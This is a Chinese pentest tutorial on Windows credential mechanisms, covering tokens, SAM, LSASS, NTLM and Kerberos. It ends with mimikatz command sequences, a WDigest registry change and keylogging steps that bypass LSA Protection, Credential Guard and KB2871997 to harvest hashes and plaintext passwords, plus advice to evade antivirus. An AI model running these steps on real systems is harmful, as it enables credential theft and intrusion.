0x00 前言
在实际渗透中,我们大部分时间都在于对Windows主机系统进行对抗,主机凭证获取是我们横向移动过程中不可或缺的一部分,除了使用凭证抓取工具以外,理论部分的学习将加深我们对凭证获取的理解。本文将从Windows凭证机制原理部分开始一步步进行讲解。
0x01 原理解析
一、Windows用户相关知识:
1.Windows内置账户:
- Administrators 组内的用户,都具备系统管理员的权限,他们拥有对这台计算机最大的控制权,可以执行整台计算机的管理人无。内置的系统管理员账号Administrator就是本地组的成员,而且无法将他从组删除,如果这台计算机已加入域,则域的Domain Admins会自动地加入到该计算机的Administrators组内,也就是说,域上的系统管理员在这台计算机上也具备着系统管理员的权限。
- Guests 组是提供给没有用户账户但是需要访问本地计算机内资源的用户使用(Guests账户激活),该组的成员无法永久地改变其桌面的工作环境。该组最长远的默认成员为用户账号Guest。
- Power Users 组内的用户具备比Users组更多的权利,但是比Administrators组拥有的权利更少一些,例如可以:创建、删除、更改本地用户账户;创建、删除、管理本地计算机内的共享文件夹与共享打印机;自定义系统设置,例如更改计算机时间、关闭计算机等。但是不可以更改Administrators,无法多去文件的所有权、无法备份与还原文件、无法安装删除与删除设备驱动程序、无法管理安全与审查日志。
- Users 组内的成员只拥有一些基本的权利,例如运行应用程序,但是他们不能修改操作系统的设置、不能更改其他用户的数据、不能关闭服务器级的计算机。所有添加到本地用户账户者自动属于Users组。如果这台计算机已经加入域。则域的Domain Users会自动加入到该计算机的Users组内
- Remote Desktop Users 组内成员拥有远程桌面登陆的权限。默认Administrators组内的成员都拥有远程桌面的权利。
2.Windows内置组:
- Administrators
- Guests
- Power Users
- Users
- Remote Desktop Users
3.UAC 用户账户控制(User Account Control):
- 特征:完整性级别被设置为中
- 命令:
whoami /priv
或者whoami /all
4.安全描述符(Security descriptor):
当一个对象被创建时,系统将为其分配安全描述符,安全描述符包含了该对象的属主对该对象所配置的一些安全属性和策略,安全描述分为四部分组成,我们的着重关注这个SID,下面会详细讲解。
- SID(表示该对象拥有的SID)
- DACL(该对象的访问控制策略)
- SACL(该对象的访问行为的审计策略)
- Flag(其他标志信息)
下图的图表示当某程序试图访问某个安全对象时,系统是如何检测的:系统会检测Object的DACL列表, 根据当前进程的Token,判断当前进程(线程)是否允许访问该Object。
二、Windwos session、Windows Station解析:
1.Session:
- 本地登录
- 远程登陆
从Windows XP开始每次登录终端才会创建一个Session,Windows Vista后所有的服务程序都运行在Session 0,其他终端会依次运行在Session 1,Session 2。
2.Logon Session:
包含System登陆、网络登陆以及活动登陆(139、445登陆)
3.Windows Station:
- Windows Station:每个Windows Station对应一个Logon Session,也就是说通过Windows Station把不同的账号进行隔离,防止他们相互影响。一个终端登录Session可以有多个Windows Station ,但只能有一个可交互的活动Windows Station,也就是Winsta0。
- Desktop:每个Windows Station可以创建多个Desktop,我们平时和3个Desktop打交道比较多(Winlogon,Disconnect,Default),他们分别代表登录桌面,屏保桌面和我们工作的桌面。
下面的图表示了Session,Windows Station和Desktop的关系
三、Windows Token、Windows Acess Token、SID解析:
1.Windows Token:
- Windows安全模型中,有两个角色,一个是访问者(进程),一个是被访问者(资源)
- 所谓的资源可以是文件,目录,注册表,管道,命名句柄,进程线程
- 每个资源都有一个安全描述符,安全描述符当中包含了ACL(ACE)(访问控制列表)
- 访问控制列表中每条规则(ACE)都对应记录着一个SID被允许和拒绝的操作(读、写、执行)
- 访问者为了访问某一个资源,显然也需要一个身份的认证
2.Windows Access Token:
Windows Access Token(访问令牌,)他是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后,都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这就解释了A用户创建一个进程而该进程没有B用户的权限。当用户注释后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只会在重启机器后才会清除。
Access Token分为两种(主令牌、模拟令牌)
- 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等….)
- 模拟令牌(lmpersonation token):非交互式登陆(例:net user、访问共享文件)
- 用户双击运行一个程序都会拷贝“explorer.exe”的Access Token
- 用户注销后系统将会使主令牌切换到模拟令牌,不会将令牌清除,只会在重启机器后才会清除
3.Windows Access Token分类:
- 交互式登陆(console、RDP、Psexec)
- 网络登陆(Wmi、Winrm)
4.Windows Acess Token组成:
- 用户账户的安全标识符(SID)
- 用户所属的组的SID
- 用户标识当前登录会话的登陆SID
- 用户或用户组锁拥有的权限列表
- 所有者SID
- 主要组的SID
- 访问控制列表(DACL中的ACE)
- 访问令牌的来源
- 令牌是主要令牌还是模拟令牌
- 限制SID的可选列表
- 目前的模拟等级
- 其他统计数据
5.SID(安全标识符)
安全标识符是一个唯一的字符串,用户标识该用户账号以及所属的用户组。系统在用户请求访问某些对象时,通过提供的访问令牌来确认是否具有对应的访问权限。
通常他还有一个SID固定列表,SID表现形式:
- 域SID——用户ID
- 计算机SID——用户ID
6.常见的SID:
- 500(Administrator)
- 501(Guest)
- 502(Krbtgt)
- 512(Domain Admins)
- 513(Domain Users)
- 515(Domain Computers)
- 516(Domain Controllers)
- 519(Enterprise Admins)
7.Windows Access Token产生过程:
Token和进程相关联,每个进程创建时都会根据Logon Session权限由LSA(Local Security Authority)分配一个Token(如果CreateProcess时自己指定了Token,LSA会用该Token,否则就用父进程Token的一份拷贝,由于大部分进程都是由Explorer.exe创建,所以我们大部分时候都复制了explorer.exe的Token),里面含有该进程的安全信息,包括用户账号,组信息,权限信息和默认安全描述符(Security Descriptor)。
四、SAM解析:
1.注册表解析:
- HKLM\SAM: 包含用户密码的NTLMv2哈希值
- HKLM\security:包含缓存的域记录LSA secrets/LSA密钥
- HKLM\system-aka SYSKEY:包含可用于加密LSA secret和SAM数据库的密钥
2.syskey解析:
syskey的由来:
读取注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的键值JD、Skew1、GBG和Data中的内容,然后拼接成syskey
syskey的作用:
Syskey中的加密的是账号数据库,也就是位于%SystemRoot%\system32\config的SAM文件
3.SAM文件
SAM(安全账户管理器),SAM用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值,被保存的Hash分为LM Hash(现已废弃)、NTLMHash(长度32bit由字母数字组成)。在用户在本地或者远程登陆系统时,会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中,SAM文件中被保存的密码Hash都被密钥SYSKEY加密。
- SAM文件在磁盘中的位置在:C:\windows\system32\config\sam
- SAM文件在Windows系统启动后被系统锁定,无法进行移动和复制
- SAM就是用来存放用户密码、Internet Explorer密码,服务账号密码、SQL密码、系统账户密码、配置的计划任务账户密码。
五、Lsass进程解析:
本地安全管理局子系统服务(LSASS)是Microsoft Windows操作系统中的一个进程,负责在系统上强制执行安全策略。它验证用户登录到Windows计算机或服务器、处理密码更改、创建访问令牌等。我们常说的dump lsass 就是对转存Lsass进程中的明文登陆密码。
六、SSP解析:
- 安全支持提供程序(SSP)
- 安全支持提供程序接口(SSPI) 应用程序和底层API交互
SSP是Windows定义的一套接口,此接口定义了与安全有关的功能函数,用来获取验证、信息完整性、信息隐私等安全功能,就是定义了一套接口函数用来身份验证,签名等,SSP(Security Support Provider)包含:
- Kerberos Security Support Provider
- NTML Security Support Provider
- Digest Security Support Provider
- Schannel Security Support Provider
- Negotiate Security Support Provider
- Credential Security Support Provider
- Negotiate Extensions Security Support Provider
- PKU2U Secruity Support Provider
如下图:
- MSV(Terminal Server认证(RDSH))
- tspkg(NTML认证)
- wdigest(摘要认证) 用的比较多提取明文密码
- Kerberos(Kerberos认证)
七、LM Hash和NTLM hash简述:
Windows系统为了保证用户明文密码不会被泄漏,将密码转换为HASH值进行身份验证,被保存在SAM或者ntds.dit中(可以使用 mimitakz 抓取),域中的所有账号密码存放在Ntds.dit,如果拿到,相当于拿到整个域权限.Windows Hash 又分为LM Hash 和 NTLM Hash,这里我们着重说一下NTLM Hash。
1.LM Hash(已弃用):
LM hash 因为区分大小写,密码最长为14位,使用DES进行加密,加密强度较弱,如果是14位密码,可被分开破解,所以LM Hash被弃用,NTLM Hash被用来进行Windows本地及远程身份验证的凭据。
2.NTLM Hash:
NTLM Hash生成原理的三步骤:
- hex(16进制编码)
- Unicode编码(ASCII转Unicode)
- MD4加密得到NTLM Hash
3.示例:
Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC
用户名称为:Administrator
ID为:500
LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值为:683020925C5D8569C23AA724774CE6CC
八、Windows本地认证和网络认证简述:
1.windows 本地认证原理:
注销或开机后:弹出输入账号密码的界面,用于接受用户输入 (实际会有个本地进程:winlogon.exe进程,用于管理用户的登陆和退出)。
- 进程(1):winlogon.exe进程,将账号密码给lsass.exe进程进行处理,并将密码缓存在进程中;
- 进程(2):lsass.exe进程,将密码转换为NTML HASH,读取SAM数据库与用户名进行比较;
- 若比较结果相同,则将User SID与Group SID发给winlogon.exe,并准备登陆界面;若比较结果不同,则登陆失败。
2.Windows 网络认证原理:
- 工作组的环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法互相建立一个完美的信任机制,只能点对点,是较为落后的认证方式,没有信托机构。
- 假设A主机与B主机在一个工作主组环境,A想要访问B主机上的资源,需要将一个存在于B主机上的账户凭证发送至B主机,经过认证才能访问B主机上的资源。传输数据由协议来规范数据如何传递,最常见的服务:SMB服务 端口445。
3.windows 本地认证流程
Windows 本地认证 挑战和响应机制(NTLM v2)
第一步:协商:
确定协议版本是v1还是v2
第二步:质询:
(1)服务器判断用户是否存在:
客户端向服务器端发送用户主机信息(必须包含用户名),服务器用客户端请求的用户名来判断服务器内是否有这个用户;
若没有这个用户,那么认证过程就是失败的;若有,则继续:
(2)服务器生成16位Challenge:
服务器接受到请求之后生成一个16位随机数Challenge,服务器使用登录用户名对应的NTLM HASH;
(3)服务器生成Net NTLM HASH:
服务器用本机SAM文件数据库内NTLM HASH 加密 16位随机数 Challenge生成Challenge1 即“Net NTLM HASH”;
(4)服务器返回16位Challenge:
服务器将之前生成的16位随机数Challenge再发送给客户端;
(5)客户端生成Response:
客户端接受到Challenge之后,使用将要登陆到账户对应的NTLM HASH加密Challenge生成Response,然后将Response发送到服务端 ;
第三步:验证:
(6)服务端比对Response是否等于Net NTLM HASH:
比对服务器端收到客户端的Response后,比对NET NTLM HASH与Response是否相等,相等则通过。
九、Kerberos 协议简述:
Kerberos实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意的读取、修改和插入数据。作为一种可信任的第三方认证服务,是通过传统的密码技术执行认证服务的(如:共享密钥)。
常见端口:
TCP和UDP的88端口:身份验证和票证授予
TCP和UDP的464端口:经典的Kerberos Kpasswd(密码重设)协议
LDAP:389、636
Kerberos认证名词:
- AS:身份认证服务(验证Client身份)
- KDC:密钥分发中心(域控制器)
- TGT:用来进行认证的认证票据
- TGS:票据授权服务
- ST:访问服务的票据
- Krbtgt:每个域内都有krbtgt账户,此账户是KDC的服务账户用来创建TGT
- Principal:认证主体
- PAC:特权属性证书
- Session Key /Short-term Key(短期会话密钥)
- Server Session Key(短期密钥)
认证流程(此处是简述过程,方便理解):
Client-A(客户端)、Server-B(服务端)、KDC(域控制器)
(1)Client请求域控制器(KDC)的身份认服务(AS)拿到认证票据(TGT)
(2)Client拿着认证票据(TGT)去请求与控制器(KDC)的票据授权(TGS)服务拿到访问服务的票据(ST)
(3)client拿着用于访问服务的票据(ST)去访问Server,然后完成整个过程
如图:
0x02 Windows保护机制浅谈以及bypass
一、LSA Protection(LSA保护):
自Windows 8.1 开始为LSA提供了额外的保护(LSA Protection),以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到LSA的插件都必须使用Microsoft签名进行数字签名。 在LSA Protection保护模式下,mimikatz运行 sekurlsa::logonpasswords抓取密码会报错。
注册表位置开启LSA保护,然后重启系统生效。
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f
测试环境:此处目标机是Windows 10 x64
1.验证目标机器是否开启了LSA保护,此处可以看到目标主机开启了LSA保护:
查看系统日志,事件id为12-LSASS.exe作为受保护的进程启动:
2.LSA Protection运行下的sekurlsa::logonpasswords:
在开启LSA Protection保护时,mimikatz运行 sekurlsa::logonpasswords会报错 “ERROR kuhl_m_sekurlsa_acquireLSA;Handle on memery”
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
3.bypass 方法1:
mimikatz 运行 lsadump :: sam 从磁盘上的SAM读取凭据,可成功pypass LSA Protection,读取到用户哈希
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
4.bypass 方法2:
mimikatz其中的mimidrv.sys驱动程序,可从lsass.exe进程中删除LSA保护,成功pypass LSA 保护。
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # sekurlsa::logonpasswords
此处遇到一个坑,这里报错ERROR kuhl_m_sekurlsa_acquireLSA ; Key import
而且在1908 2004版本上均会出现此错误,最新版的mimikatz也会出现错误,这里的解决办法是用老版本的mimikatz(此处注意我使用的mimikatz的版本号)
二、Credential Guard(虚拟化保护)
在Windows 10和Windows Server 2016中,Microsoft启用Credential Guard(凭据防护),使用基于虚拟化技术来保护和隔离lsass进程,以保护凭证。启用Credential Guard后,lsass包含2个进程:正常LSA进程和隔离LSA进程(在VSM中运行)
测试环境:此处目标机是Windows 10 x64
1.开启Credential Guard 保护:
在组策略管理控制台中,在”计算机配置” -> “管理模板” -> “系统” -> “Device Guard”,打开”打开基于虚拟化的安全”,选择”已启用”;
在”选择平台安全级别”框中,选择”安全启动”或”安全启动和DMA保护”;
在”凭据保护配置”框中,选择”使用UEFI锁启用”。
运行gpupdate /force 强制执行组策略
验证Windows Defender Credential Guard是否运行:
输入msinfo32.exe,在 ”系统摘要”-> ”已配置基于虚拟化的安全服务”处,可看到显示”Credential Guard”
2.Credential Guard运行下的sekurlsa::logonpasswords
在开启Credential Guard后, 运行 mimikatz sekurlsa::logonpasswords
,可以抓到部分用户哈希,但是存在缺陷:抓取到的用户不全,有遗漏,抓不到密码明文
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
只抓取其中一个用户jerry的哈希,缺失了用户jerry2,并且没有了之前的明文:
3.bypass方法1
mimikatz 运行 lsadump :: sam 从磁盘上的SAM读取凭据,可成功bypass Credential Guard,读取到全部的用户哈希
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
新增抓到了用户jerry2的哈希:
4.bypass方法2
SSP在用户登录时被调用,并接收该用户的凭据。在系统启动时SSP会被加载到进程lsass.exe中。
Mimikatz可通过内存安装自定义的ssp,修改lsass进程的内存,实现从lsass进程中提取凭据,mimikatz执行misc::memssp
后,可以通过锁屏后重新登录来抓取,将会在c:\windows\system32下生成文件mimilsa.log,其中保存有用户明文密码。
mimikatz # privilege::debug
mimikatz # misc::memssp
锁屏命令:rundll32.exe user32.dll LockWorkStation
锁屏后,重新登陆,成功记录到用户密码明文:
此外还可以尝试mimikatz的 lsadump::secrets
从注册表中获取syskey信息来解密,从而bypass LSA Protection和Credential Guard。
三、kb2871997补丁
kb2871997主要用来防止pth攻击,限制了两个sid(kb2871997会删除除了*wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用)
- S-1-5-1 13(NT AUTHORITY Local account) 账户
- S-1-5-1 14(NT AUTHORITY Administrators)账户和管理员组的成员
- 可以通过组策略使用这些sid来有效地阻止远程登录使用所有本地管理帐户
bypass方法:
1.修改注册表实现,需要重启:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
2.锁屏实现:
rundll32.exe user32.dll LockWorkStation
3.使用截屏、键盘记录等后渗透功能,一般都要到对应用户的空间下操作
//cs
desktop [explorer pid] x86|x64 low |higt
//msf
migrate [explorer pid]
screenshot
0x04 小结
简单总结一下就是如下:
1.主要是获取内存文件lsass.exe进程中存储的明文登陆密码
2.关于一些抓hash的工具,主要是利用了windows自带的mimidump接口,进行dump文件
3.在win10或者2012R2以上的系统中,默认在内存缓存中禁止保存明文密码,密码字段显示为null,此时我们要获取明文,就需要修改注册表、强制锁屏、等待目标系统管理员重新登陆或者使用键盘记录,我们才能抓取到明文密码
4.在实际渗透环境中,我们着重要考虑的是目标系统的系统版本,然后针对性的去抓系统的hash,切记一定要做好免杀处理,不然上传直接被秒
注:必须是拿到了admin权限的cmd,有UAC必须先bypass UAC,必须是管理员用密码登陆机器,并运行了lsass.exe进程,把密码保存在内存文件的lsass进程中。
0x05参考链接
https://www.anquanke.com/post/id/175364
https://www.cnblogs.com/bmjoker/p/10723432.html